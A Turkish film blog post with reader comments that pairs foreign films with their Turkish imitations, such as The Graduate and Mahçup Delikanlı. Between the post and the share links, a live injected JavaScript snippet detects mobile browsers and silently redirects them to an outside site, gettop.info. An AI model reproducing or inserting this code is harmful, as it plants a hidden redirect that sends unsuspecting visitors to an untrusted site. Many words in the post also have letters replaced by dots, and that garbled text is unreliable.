Bir Yabancı Bir Yerli… Konumuz ‘Öykünme’ler…

- ‘Desperate Hours’ {Ümitsiz Saatler} / William Wyler
- ‘Çirkin Dünya’ / Osman F. Seden
Hülya Koçyiğitli Çirkin Dünya’yı yıllar önce izlediğimde bir öykünme olduğunu bilmiyordum. Ta ki Wyler ustanın -daha sonra yeni bir çevrimi daha yapılacak- bu adı gibi ümitsiz ve esaslı kara filmini görünceye dek… Firari ve oldukça tehlikeli bir suçlu (Karizmatik oyuncumuz Humphrey Bogart’ı böyle bir rolde izlemek güzeldi.), maiyetindekilerle beraber hali vakti yerinde bir ailenin yanına sığınır. Daha doğrusu cebir kullanarak içeriye girmiş davetsiz misafirlerdir onlar. Aile rehin alınır; bizlere de kasvetli bir dar alan gerilimine tanık olmak kalır.
Bogart’ın rolü bizde Savaş Başar’a verilmişti.

- ‘Sting’ / G.Roy Hill
- ‘Belalılar’ / Melih Gülgen
Yine birebir diyebileceğimiz bir örnek. Sting’i bir kaç ay önce bir Pazar günü izlemiştim Cnbc-e’de ve kanaatim iyice pekişmişti. Ayrıksı tipler handiyse birebir kopya edilmiş. Robert Redford’a karşılık gelen isim Cüneyt Arkın. Usta-çırak ilişkisi devam ediyor. O lunaparkta tüm çetenin içtima ettiği sahneler…
Fakat film de taklit edilmeyecek gibi değildi ki!

- ‘The Graduate’ (Aşk Mevsimi) / Mike Nicholls
- ‘Mahçup Delikanlı’ / Orhan Aksoy
Ufak farklarla bir öykünme örneği. Orijinalinde Dustin Hoffman’ın canlandırdığı karakter, bizde Tarık Akan’a karşılık geliyor. Her ikisi de yüksek muhitlerin havai atmosferine tezat oluşturan mahçup karakterler. Hayatlarına yön veren müşterek nokta, kadınlarla olan ilişkileri. Ufak nüansları sayacak olursam;
* Orijini son tahlilde bir kuşağın benlik arayışları üzerine inşa etmiştir kendini. Aksoy’un filminin ise böyle bir derdi yok.
* The Graduate’de Hoffman’ın başını ağrıtacak olan hanım, yakınlaşma içerisine gireceği esas kızımızın annesiydi. Mahçup Delikanlı’da ise abla/kızkardeş denklemi söz konusu. (Gülşen Bubikoğlu ve sarışın, fettan ablası.)

- ‘The Apartment’ (Garsoniyer) / B.Wilder
- ‘Adamını Bul’ / Ar.m Gülyüz
Açık bir takl.t. İlk filmde J.Lemmon, adapte filmimizde Müjdat Gezen’in canlandırdığı karakter; bir fabrika çalışanı. Bahis konusu fabrikanın patronları, kahr.manımıza intikal eden daireyi ‘garsoniyer’ olarak kullanmaya başlarlar. Bu sayede ad.mımız da terfi bas.maklarını kademe kademe arşınlayacaktır. Alan razı, veren razı hesabı:) Büyük patron ile münasebeti olduğunu öğreneceğimiz ve kahr.manımızın da abayı yaktığı isimler; Shirley Maclaine / Hale Soygazi şeklinde karşılığını bulmaktaydı.

- ‘My Fair Lady’ / G.Cukor
- ‘Sürtük’ / E.Eğilmez
Bir yanda ağzı bozuk, eli maşalı ‘sokak kızı İrma”; öte yanda aristokrasi mensubu ‘janti’ beyefendimiz. Tezatlarla örülü bir kader birlikteliği… Orijininin müzikallerin kendine özgü havasıyla hercümerç olmuş Anglosakson adab ve kâideleri, yerini Türk usulü muaşerata tevdi etmiş. Sonuçta primadonnamız, yontulma suretiyle ‘nezih’ ort.mlara bir şekilde ayak uydurmuyor muydu?
Burjuvazinin -tıpkı kendisi gibi- yok edilesi ve içi kof teamülleri!

- ‘Mr.Mom’ / Stan Dragoti
- ‘Şendul Şaban’ / K.Tibet
Mr.Mom’ı cnbc-e’de izledim bir ay önce ve aklıma direkt altında yazdığım filmi getirdi. Neredeyse birebir karbon kopyasını yapmışız. Modern aile mefhumunun geleneksel rolleri üzerinde asimetrik bir tersyüz: ‘Çalışan’ acar kadın ve ‘miskin’ ev erkeği! Mıchael Keaton’un yerine K.Sunal; ismini bilmediğim hanım oyuncunun yerine N.Serezli ik.me edilmiş. Poker ve süpermarket sekansları; o meşum rüya; patronun evinde cereyan eden müsabaka… Bu kadar da kör gözüm parmağına takl.t edilmez ki be kardeşim:)

- ‘Kırmızılı Kadın’ / Gene Wilder
- ‘Aşık Oldum’ / E.Eğilmez
Yine bir esinlenme daha; bu defaki hayli n.mdar. Bürleskin erbabı G.Wilder ve o dönem gençlik filmleriyle şimali parlayan Kelly le Brook’un (dönemin mecmualarında çarşaf çarşaf fotoğraflarını hatırlıyorum) iyi bir ikili oluşturdukları hoş bir seyirlik. Bizdeki tekabülü Ş.Şen ve Şehnaz Dilan. Meşhur otopark sahnesi ve dalgalanan etek; kırsaldaki safari gezintisi; kaç.maklar… Küvet sahnesine dek alıntı yaptığını gördüğümüz Aşık Oldum; ekstradan karikatürize tipler barındırıyordu.

- ‘Belle de Jour’ (Gündüz Güzeli) / Luis Bunuel
- ‘Kupa Kızı’ / Başar Sabuncu
Sabuncu’nun çok sevdiğim bu filmi, açık bir Bunuel adaptasyonu. Usta Latin sinemacımız, C.Deneuve ile teşriki mesaide bulunduğu Gündüz Güzeli’nde kentsoylu sınıfı, mezkur sınıfın iletişimsizliğini ve doyumsuzluklarını ele almıştı. Le.tmotif ise müsteb.t ‘Franco’ iktidarına yönelik bir göndermeden başka birşey değildi elbette. (*Günümüz sinemasına baktığımızda bunun en belirgin örneğini Ozon’da görüyoruz. Orta/üst sınıfların ‘geleneksel’ kurumlarına ve düşünce kalıplarına yönelik dekadans denebilecek bir tenk.tler manzumesi…) Velhasıl sinem.mıza iyi bir misal teşkil etmiş bu yapım. Deneuve’nin yerinde Müjde hanımı görüyorduk. Evlilik, iletişimsizliğin girdabındaki çiftler ve randevuevine giden ‘iradi’ fahişelik günleri. Randevuevinin bıçkın müşterisi.(Selçuk Özer idi.)

- ‘Postacı Kapıyı 2 Kere Çalar’ / Bob Rafelson
- ‘Sarı Bela’ / Şahin Gök
Jessica Lange’nin yerine Banu Alkan’ı; Jack Nicholson’un yerine Hakan Bal.mir’i ik.me ediniz. Üstüne bolca da şehvet sosu… İşte ‘Sarı Bela’:) Her iki filmde de münzevi bir istasyon; esrarrengiz konuk; yaşlı ve ilgisiz kocadan muzdarip şuh bir bayan müşterek noktalar. Tabi Rafelson’un filmi daha bir derinlikli. Orada 29 buhranının getirdiği bireysel değerler aşınması sözkonusuydu aslında. Bunun ise bizzat tenselliğin dümeninde ve daha yüzeysel olduğu bariz. Bariz olan bir şey daha varsa, o da açık bir im.tasyon ile karşı karşıya olduğumuz.

- ‘City Lights’ (Şehir Işıkları) / C.Chaplin
- ‘En Büyük Şaban’ / K.Tibet
K.Tibet’in bu filmi, hatırladığımca daha jenerik yazısında üstadın filmine gereken saygı duruşunu çakıyordu zaten. Sunal’ı görüyorduk Chaplin’in yerinde. O b.ks müsabakaları; çiçekçi kız ile olan yakınlaşma; hercai ve süfli yaş.mlar. İkisi de nur içinde yatsınlar!

- ‘Roman Holiday’ (Roma Tatili) / W.Wyler
- ‘İstanbul Tatili’ / T.İnanoğlu
Çevresindeki şatafattan ve yapay protokollerden bunalmış bir kraliyet mensubu hanım, ‘tebdili kıyafet’ eyleyerek firar eder ve turist kılığında şehri dolaşmaya başlar. Beceriksiz bir gazeteci de kendisine eşlik eder ve tasasız günlerin köpüğünde alevlenen bir aşk doğar. Roma Tatili arşivimin özel filmlerindendir. Audrey Hepburn bizde Filiz Akın’a tekabül ediyordu. Mihmandarlık da yapan gazeteci rolleri Gregory Peck = Kartal Tibet şeklinde karşılığını bulmakta.

- ‘Eyes of a Stranger’ / Ken Wiederhorn
- ‘Gazeteci Kız’ / Melih Gülgen
TRT’de 2 hafta önce izlemiş olduğum bir belgesel vas.tasıyla haberdar olmuştum bu eşleşmeden. Filmimize menba teşkil eden yabancı örneği izlemedim; yerli film ise aklımda. Serpil Çakmaklı, psikomanyak bir sapığın izini süren ve ikiz karakterlere hayat veren bir gazeteciyi canlandırıyordu. Eyes of a Stranger’ı görmediğim için kıyaslama yetisine haiz değilim.

- ‘Jagged Edge’ / Richard Marquand
- ‘Savunma’ / Orhan Aksoy
1980′lerin ortasına ait iki film. Bir baş komiserce cinayetle (eşini öldürmüştür) itham edilen zanlının müdafaasını üstlenen kadın bir avukat ve ‘zanlı’ ile yaşadığı gönül ilişkisi… Avukat – zanlı rollerinde izlediğimiz Glenn Close ve Jeff Bridges; bizde Gülşen Bubikoğlu ile Kenan Kalav’a karşılık geliyor.
Savunma’yı TRT’de izlediyseniz Gülşen hanımın davayı biraz da (komiserle arasında daha evvel yaşanan tatsız bir hadiseye binaen) kişisel bir hırs yüzünden üzerine aldığını hatırlayacaksınız.
Finaller ise sürpriz gelişmelere gebe! Olayı bozuk bir ‘daktilo’ aydınlatacaktır diyerek kesiyorum!

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“Bir Yabancı Bir Yerli… Konumuz ‘Öykünme’ler…” bu yazı hakkında 20 yorum var

  • cokseybilenkiz diyor ki:

    melekmi ?şeytanmı? …1971 yön:mehmet dinler
    türkan şoray ve tarık akan

    la marıee eta.. en noir…1968 yön:françois truffaut
    jeanne moreau ve michel bouguet

    orjin fransız filminde ve bizim filmimizde kocasını öldürenlerden intikam alan bir kadın var.bizde daha çok siyah gelinlik diye biliniyor.kimi kaynaklara göre kill bill’e esin veren filmde bu

    and soon the darkness:karanlık bastırırken 1970
    yön:robert fuest
    iki ingiliz kızı tatilde bisikletleri ile taşrada gezmeye giderler .kavga edip ayrılırlar.karanlık basınca tekin olmayan insanlar ile karşılaşırlar

    macera yolu 1974 yön:nejat okçugil
    zeynep degirmençioglu(ayşeçik)nun son filmlerinden biri yukardaki ikinçi sınıf gerilim filminin tekrarı.

    gigi 1958 vincente minelli
    kırmızı karanfiller 1962 ülkü erakalın
    bu iki filmden üsteki bol oscarlı ünlü bir müzikal.altaki aynı filmin bizdeki çevrimi arada sadece beş yıl var.leslie caron’a karşılık türkan şoray

    the brotherhood.1968 yön:martin ritt
    aranızda izleyen varmı bilmiyorum ama bu film çok güzel bir aile dramıdır.ailemiz kesinlikle sıradan bir aile degildir.mafyadırlar dersem anlaşılır herhalde.büyük abi (kirk douglas)küçük kardeş (onu hatırlayamadım)ile daima çatışır .ve bu bizi sona sürükler

    baba ocagı 1977 yön:melih gülgen
    cüneyt arkın
    yukardaki filmin bizdeki karşılıgı.kim demiş sinemacılarımız film izlemez diye:))))

  • Akif YILMAZ diyor ki:

    ‘The Kid’ {Yumurcak} / Charles Chaplin – 1921

    ‘Garip’ / Memduh Ün – 1986

    Bilindiği üzere ilk filmimizde Chaplin gibi bir usta oyuncuyu, ikinci filmde ise Türk sineması’nın usta oyuncularından birisi olan Kemal Sunal’ı görmekteyiz… Orijinaline göre oldukça başarısız bir yeniden çevrim, fakat Kemal Sunal’ın oyunculuğuyla seyredilesi bir film…

  • okaliptus80 diyor ki:

    - ‘Great Dictator’ {Büyük Diktatör} / Charles Chaplin – 1940
    - ‘Cilalı İbo Casuslar Arasında’ / Nuri Ergün -1959

    Feridun Karakaya’nın ölümsüz tiplemesidir Cilalı İbo. “Abiler” diye hitap eder, “r”leri “y” şeklinde telaffuz eder, başından şapkasını hiç çıkarmaz.
    ‘Cilalı İbo Casuslar Arasında’, berber karakterine dek bir Büyük Diktatör öykünmesi. (Elbette aslı kadar sinematografik ve eleştirel olmadığını da belirtmek gerek.) Chaplin’in Nazi Almanyasını hicvettiği (ve klasikler topiğinde geçilecek) ölümsüz filminde canlandırdığı hayali diktatör, bizde açıkça Adolf Hitler ile ikame edilmişti. İnanılmaz benzerliğinden ötürü Alman diktatörünün yerine geçen bir berberin yaşadığı absürt maceralara tanık oluyorduk. Yalnız balon sahnesini es geçmiştik:)

  • okaliptus80 diyor ki:

    ‘The Graduate’ (Aşk Mevsimi) / Mike Nicholls – 1967
    ‘Mahçup Delikanlı’ / Orhan Aksoy – 1976

    Ufak farklarla bir öykünme örneği. Orijinalinde Dustin Hoffman’ın canlandırdığı karakter, bizde Tarık Akan’a karşılık geliyor. Her ikisi de yüksek muhitlerin havai atmosferine tezat oluşturan mahçup karakterler. Hayatlarına yön veren müşterek nokta, kadınlarla olan ilişkileri. Ufak nüansları sayacak olursam;

    * Orijini son tahlilde bir kuşağın benlik arayışları üzerine inşa etmiştir kendini. Aksoy’un filminin ise böyle bir derdi yok.
    * The Graduate’de Hoffman’ın başını ağrıtacak olan hanım, yakınlaşma içerisine gireceği esas kızımızın annesiydi. Mahçup Delikanlı’da ise abla/kızkardeş denklemi söz konusu. (Gülşen Bubikoğlu ve sarışın, fettan ablası.)

  • okaliptus80 diyor ki:

    - ‘Mr. Deeds Goes Town’ {Bay Deeds Şehre Gidiyor} / Frank Capra
    - ‘Çarıklı Milyoner’ / Kartal Tibet

    Yüklü bir mirasa konmasının akabinde şehre gelen adam ve çevresindeki dalkavuk sürüsü… Hoş bir öykünme.

  • okaliptus80 diyor ki:

    ‘Father of the Bride’ { Gelinin Babası} / Vincente Minnelli – 1950
    ‘Kızın Varsa Derdin Var’ / Halit Refiğ – 1973

    Evlilik arefesine gelmiş bir genç kız ve pür telaş nikah/düğün protokolü ile uğraşan ebeveyn kısmı…
    Sadece Refiğ’in filmi ile sınırlandırılamaz bu öykünme örneği. Zira bu konuyu işleyen birkaç film daha olduğunu iyi hatırlıyorum; ancak ilk aklıma gelen de bu oldu. Orijininde Elizabeth Taylor’un canlandırdığı rol bizde Perihan Savaş hanımefendice üstlenilmişti. Spencer Tracy’in yerinde ise ‘kral’ı yani Ayhan Işık’ı görüyorduk.

  • okaliptus80 diyor ki:

    ‘After Hours’ (Martin Scorsese, 1985.)
    ‘Beyoğlu’nun Arka Yakası’ (Şerif Gören, 1986.)

    Gece gece kaçamak yapan iki adam. Bir tanesi macera peşindeki New Yorker ( Griffin Dunne); öteki karı dırdırından yaka silkmiş kır saçlı adam (Tarık Akan)… Ve bitmek bilmez “uzun bir gece”…

    Şerif Gören’in, 1 sene sonra çektiği bu filmde bir parça After Hours’un etkisinde kaldığı görülüyor. Uğursuz gece, binbir badire, muhtelif insan silueti… İnanın bana sizin için de uzun bir gece olacaktır.

    Dunne, heykelle döşeli o evde Rosanna ile bakışa dursun; Tarık abimizin tüm parası bir sokak kadını (Oya Aydoğan) tarafından cukka edilecektir. Beyoğlu bu… Manhattan’a benzemez!

  • okaliptus80 diyor ki:

    - ‘Dirty Dancing’ (1987) / Emile Ardolino
    - ‘Yalnızlık Bir Şarkıdır’ (1987) / Yücel Uçanoğlu

    1980′lerde “dans” ve gençlik temalı filmler hayli popüler olmuştu. Dirty Dancing de aralarında en öne çıkanı dersek yanlış olmaz sanırım.
    Bu “kült” gençlik filmine öykünmekte çok geç kalmamış Türk Sineması. Kurt yapımcılarımız bir potansiyel görmüş olacak ki, aynı sene Yalnızlık Bir Şarkıdır ile karşılık vermişiz. Patrick Swayze’nin muadili de hazır elbette: Sinemaseverlerce ‘Lambada’: Gençlik Fırtınası filminin asi dansçısı olarak hatırlana gelen Yaşar Alptekin.

  • okaliptus80 diyor ki:

    Uyarlamayı ancak yazıyor olmamın sebebi, Capra’nın filmini henüz izleyebilmiş olmam…

    - ‘Pocketful of Miracles’ (1961) / Frank Capra
    - ‘Elmacı Kadın’ (1971) / Feyzi Tuna

    Onların Elmacı Kadın’ı var da bizim olmaz mı!:) Üstelik Yıldız Kenter’in Bette Davis’ten ne eksiği var!
    Hoş bir öykünme.

  • wherearethevelvets diyor ki:

    *Turks fruit (1973) Yön: Paul Verhoeven Oyn: Rutger Hauer, Monique van de Ven.

    *Pisi Pisi (1975) Yön: Osman F. Seden. Oyn: Kadir İnanır, Müjde Ar.

    Zengin kız ve sanatçı (Yabancıda heykeltraş, yerlide fotoğrafçı) adam arasındaki aşk, kızın ölümcül hastalığı ile sonuçlanır. Her iki filmin sonunda da kız çocuklaşır (beyindeki hastalığın eseri olarak), şuursuz çığlıklar falan atar. Kesin bir öykünme olmuş mu bilmiyorum fakat benzerlik çok şaşırtıcı.

  • okaliptus80 diyor ki:

    Kesinlikle isabetli bir örnek bence, eline sağlık wherearethevelvets! Aynı dönem çekilmiş ‘Sweet Movie’ ve ‘Maitresse’ gibi donuk sokak görüntüleri ile hatırladığım Turks Fruit, bahsettiğin yönlerden sanki bir ilham vermiş olabilir Pisi Pisi’ye. (Sanırım sen de benim gibi Bahariye’deki malum yerden aldın Verhoeven’in filmini. Ne zaman gitsem raflarda.)

    - ‘Death Wish’ (1974) / Michael Winner
    - ‘Cellat’ (1975) / Memduh Ün

    (Aşağıdaki yazı alıntıdır. Cellat filmini araştırırken bir sitede karşıma çıktı.)

    1970′ler sinemada şiddetin keşfinin yıllarıdır. Bu keşif bir yandan adaletin sorgulanması ve tipik Amerikan rüyası olan kendi kanunu koyma özleminin de sunumudur. 1974 yılında Charles Bronson’u sinemanın seçkin intikamcısı haline getiren “Death Wish” filmi çevrilir. Takip eden yıl orjinal filmin Bülent Oran’ın senaryosuyla bir parça değiştirilip ülkemize uyarlanmış versiyonu olan “Cellat” sinemalarda gösterime girer.

    Charles Bronson’un yerini Serdar Gökhan; yönetmen koltuğundaki Michael Winner’in yerini ise Memduh Ün almıştır. İki filmin ana teması olarak bir ailenin başına gelebilecek en kötü yıkımlardan birisinin neticesinde intikam makinesi haline dönüşen aile reisinin yaşadıkları konu edilmektedir.

  • okaliptus80 diyor ki:

    - ‘Let’s Make Love’ (George Cukor – 1960)
    - ‘Kısmet’ (Temel Gürsu – 1974)

    Let’s Make Love adlı hoş müzikal, Kısmet adlı yerli filmimizin çıkış noktası. Sergilenecek bir vodvilde parodisinin yapılacağını öğrenen zengin işadamı, kendisini oynayacak olan aktörün yerine geçer. Ama kimse onun malum şahıs olduğunu bilmemektedir. Bu oyun iş adamımıza kumpanyadaki baş kadın oyuncu ile yakınlaşma fırsatı verir.

    Orjinal filmde Yves Montand’ın canlandırdığı Clement, bizde İzzet Günay’ın hayat verdiği Samizade İpekçigil’e karşılık geliyordu. Marilyn Monroe’nin rolünüyse Neşe Karaböcek almıştı.

  • okaliptus80 diyor ki:

    - ‘Fatal Attraction’ {Öldüren Cazibe} / Adrian Lyne – 1987
    - ‘Sapık Kadın’ (Orhan Elmas – 1988)

    Şimdi hakkını teslim etmek gerek; sarı perukasıyla (‘İpekçe’ filminde de öyleydi ya.) Perihan Savaş, femme fetallıkta Glenn Close’yi hiç aratmamıştı!
    Evli, iyi de işi olan bir adam: Michael Douglas ve Tarık Tarcan… Ve ona hayatı zindan etmeye kararlı, hasta ruhlu, yapışkan ve şehvet düşkünü bir metres: Glenn Close ve Perihan Savaş… Ben bizim yerli versiyonu da sevmiştim.

  • okaliptus80 diyor ki:

    Doğrudan “Öykünme” ile ya da küçük ilhamlar alma yoluyla doğmuş bazı eserlerimiz;

    - “The Apartment” (Billy Wilder – 1960)
    - “Adamını Bul” (Aram Gülyüz – 1975)

    - “My Fair Lady” (George Cukor – 1964)
    - “Sürtük” (Ertem Eğilmez – 1970)

    - “Mr. Mom” (Stan Dragoti – 1983)
    - “Şendul Şaban” (Kartal Tibet – 1985)

    - “The Woman in Red” (Gene Wilder – 1984)
    - “Aşık Oldum” (Ertem Eğilmez – 1985)

    - “Le samouraï” (Jean-Pierre Melville – 1967)
    - “Yaralı Kurt” (Ömer Lütfi Akad – 1972)

    - “Young Frankenstein” (Mel Brooks – 1974)
    - “Sevimli Frankenstein” (Nejat Saydam – 1974)

    - “Sergio Leone imzalı spagetti westernler”
    - “Asılacak Adam” (Cüneyt Arkın – 1987)

    - “Belle de Jour” (Luis Bunuel – 1967)
    - “Kupa Kızı” (Başar Sabuncu – 1986)

    - “The Postman Always Rings Twice” (Bob Rafelson – 1981)
    - “Sarı Bela” (Şahin Gök – 1985)

    - “Serpico” (Sidney Lumet – 1973)
    - “Cemil” (Melih Gülgen – 1976)

    - “Butch Cassidy and the Sundance Kid” (George Roy Hill – 1969)
    - “Vurguncular” (Atıf Yılmaz – 1971)

    - “City Lights” (Charles Chaplin – 1931)
    - “En Büyük Şaban” (Kartal Tibet – 1983) & “Cafer Bey” (Tunç Başaran – 1970)

    - “Roman Holiday” (William Wyler – 1953)
    - “İstanbul Tatili” (Türker İnanoğlu – 1968) & “Muhteşem Serseri” (Ülkü Erakalın – 1964)

    - “Eyes of a Stranger” (Ken Wiederhorn – 1981)
    - “Gazeteci Kız” (Melih Gülgen – 1988)

    - “The Kid” (Charles Chaplin – 1921)
    - “Garip” (Memduh Ün – 1986)

    - “Deliverance” (John Boorman – 1972)
    - “Nehir” (Şerif Gören – 1977)

    - “Love Story” (Arthur Hiller – 1970)
    - “Aşk Hikayemiz” (Nejat Saydam – 1972) & “Aşk Hikayemiz” (Orhan Elmas – 1986)

    - “Star Trek” (Tv. Serisi – 1966)
    - “Turist Ömer Uzay Yolunda” (Hulki Saner – 1973)

    - “Some Like It Hot” (Billy Wilder – 1959)
    - “Fıstık Gibi Maşallah” (Hulki Saner – 1964) (ve de “Plajda” adlı yakın tarihli film.)

    - “E.T.: The Extra-Terrestrial” (Steven Spielberg – 1982)
    - “Badi” (Zafer Par – 1983)

    - “Problem Child” (Dennis Dugan – 1990)
    - “Zıpçıktı” (Ünal Küpeli – 1995 ; Tv. Dizisi olarak;)

    - “Cocktail” (Roger Donaldson – 1988)
    - “Sensiz Olmaz” (Kaya Ererez – 1994)

    - “West Side Story” (Jerome Robbins – 1961)
    - “Yasak Sokaklar” (Kaya Ererez – 1993)

    - “The Sting” (George Roy Hill – 1973)
    - “Belalılar” (Melih Gülgen – 1974)

    - “The Wizard of Oz” (Victor Fleming – 1939)
    - “Ayşecik ve Sihirli Cüceler” (Tunç Başaran – 1971)

    - “The Graduate” (Mike Nicholls – 1967)
    - “Mahçup Delikanlı” (Orhan Aksoy – 1974)

    - “The Pink Panther” (Blake Edwards – 1963)
    - “Pembe Panter” (Hulki Saner – 1975)

    - “Endless Love” (Franco Zeffirelli – 1981)
    - “Bitmeyen Sevda” (Kaya Ererez – 1986)

    - “Tootsie” (Sidney Pollack – 1982)
    - “Şabaniye” (Kartal Tibet – 1985)

    - “The Purple Rose of Cairo” (Woody Allen – 1985)
    - “Benim Sinemalarım” (Füruzan & Gülsüm Karamustafapaşa – 1990)

    - “Fiddler on the Roof” (Norman Jewison – 1971)
    - “Damdaki Kemancı” (Hulki Saner – 1972)

    - “Jagged Edge” (Richard Marquand – 1985)
    - “Savunma” (Orhan Aksoy – 1987)
    (Aynı konuyu 1993 senesinde “Guilty as Sin” ile bir kez de Sidney Lumet işlemişti.)

    - “La mariée était en noir” (François Truffaut – 1968)
    - “Melek mi? Şeytan mı?” (Mehmet Dinler – 1971)

    - “And Soon the Darkness” (Robert Fuest – 1970)
    - “Macera Yolu” (Nejat Okçugil – 1974)

    - “Gigi” (Vincente Minnelli – 1958)
    - “Kırmızı Karanfiller” (Ülkü Erakalın – 1962)

    - “The Brotherhood” (Martin Ritt – 1968
    - “Baba Ocağı” (Melih Gülgen – 1977)

    - “Mildred Pierce” (Michael Curtiz – 1945)
    - “Şoför Nebahat ve Kızı” (Süreyya Duru – 1964) & “Nefret” (Osman F. Seden – 1984)

    - “Nous irons a Monte Carlo” (Jean Boyer – 1951)
    - “Baba Bizi Eversene” (Oksal Pekmezoğlu – 1975)

    - “Imitation of Life” (Douglas Sirk – 1959)
    - “Anneler ve Kızları” (Ömer L. Akad – 1971)

    - “One Eyed Jacks” (Marlon Brando – 1961)
    - “Dağların Oğlu” (Yılmaz Atadeniz – 1965)

  • okaliptus80 diyor ki:


    - “The Professionals” (Richard Brooks – 1966)
    - “Devlerin İntikamı” (Feyzi Tuna – 1967)

    - “Awaara” (Raj Kapoor – 1951)
    - “Berduş” (Osman F. Seden – 1957)

    - “Hipnos” (David Carreras – 2004)
    - “Gen” (Togan Gökbakar – 2005)

    - “Spartacus” (Stanley Kubrick – 1960)
    - “İki Esir” (Natuk Baytan – 1971)

    - (80′lerde TRT2′de oynayan bir çocuk dizisinden)
    - “Japon İşi” (Kartal Tibet – 1987)

    - “Francis Goes to the Races” (Arthur Lubin – 1951)
    - “Konuşan Katır At Yarışlarında” (Erdoğan Tokatlı – 1971)

    - “Nine to Five” (Colin Higgins – 1980)
    - “Patron Duymasın” (Zeki Alasya – 1985)

    - “Die verlorene Ehre der Katharina Blum” (Volker Schlöndorff – 1975)
    - “Suçlu” (Osman F. Seden – 1989)

    - “Father of the Bride” (Vincente Minnelli – 1950)
    - “Kızın Varsa Derdin Var” (Halit Refiğ – 1973)

    - “La sauvage” (Jean-Paul Rappeneau – 1975)
    - “Vahşi Gelin” (Osman F. Seden – 1978)

    - “Rebecca” (Alfred Hitchcock – 1940)
    - “Kıskanç Kadın” (Nuri O. Ergün – 1966)

    - “The Bad Seed” (Mervyn LeRoy – 1956)
    - “Kötü Tohum” (Nevzat Pesen – 1963)

    - “Falling in Love” (Ulu Grosbard – 1984)
    - “Bir Günah Gibi” (Alev Akarar – 1987)

    - “You Can’t Take It with You” (Frank Capra – 1938)
    - “Sev Kardeşim” (Ertem Eğilmez – 1972)

    - “Mr. Deeds Goes to Town” (Frank Capra – 1936)
    - “Anadolu Çocuğu” (Osman F. Seden – 1964) & “Çarıklı Milyoner” (Kartal Tibet – 1983)

    - “Pillow Talk” (Michael Gordon – 1959)
    - “Canikom” (Orhan Aksoy – 1979)

    - “About Last Night” (Edward Zwick – 1986)
    - “Hoşgeldin Gülüm” (Kaya Ererez – 1991)

    - “Daddy Long Less” (Jean Negulesco – 1955)
    - “Hızır Dede” (Osman F. Seden – 1964)

    - “Lili” (Charles Walters – 1953)
    - “Kuklalar” (Temel Gürsu – 1976)

    - “City Heat” (Richard Benjamin – 1984)
    - “Doruk” (Melih Gülgen – 1985)

    - “Le Million” (Rene Clair – 1931)
    - “Beş Milyoncuk Borç Verir misin?” (Osman F. Seden – 1975)

    - “Ave Maria” (Alfred Braun – 1953)
    - “Ayşecik Sana Tapıyorum” (Aram Gülyüz – 1970)

    - “The Parent Trap” (David Swift – 1961)
    - “Yuvanın Bekçileri” (Aram Gülyüz – 1969)

    - “La dentellière” (Claude Goretta – 1977)
    - “Beyaz Bisiklet” (Nisan Akman – 1986)

    - “The Champ” (Franco Zeffirelli – 1979)
    - “En Büyük Babam” (Melih Gülgen – 1980)

    - “Sabrina” (Billy Wilder – 1954)
    - “Şoförün Kızı” (Ülkü Erakalın – 1965)

    - “The Sound of Music” (Robert Wise – 1965)
    - “Sen Bir Meleksin” (Nejat Saydam – 1969)

    - “Sinfonia damore” (Glauco Pellegrini – 1954)
    - “Son Beste” (Dr. Arşavir Alyanak – 1955)

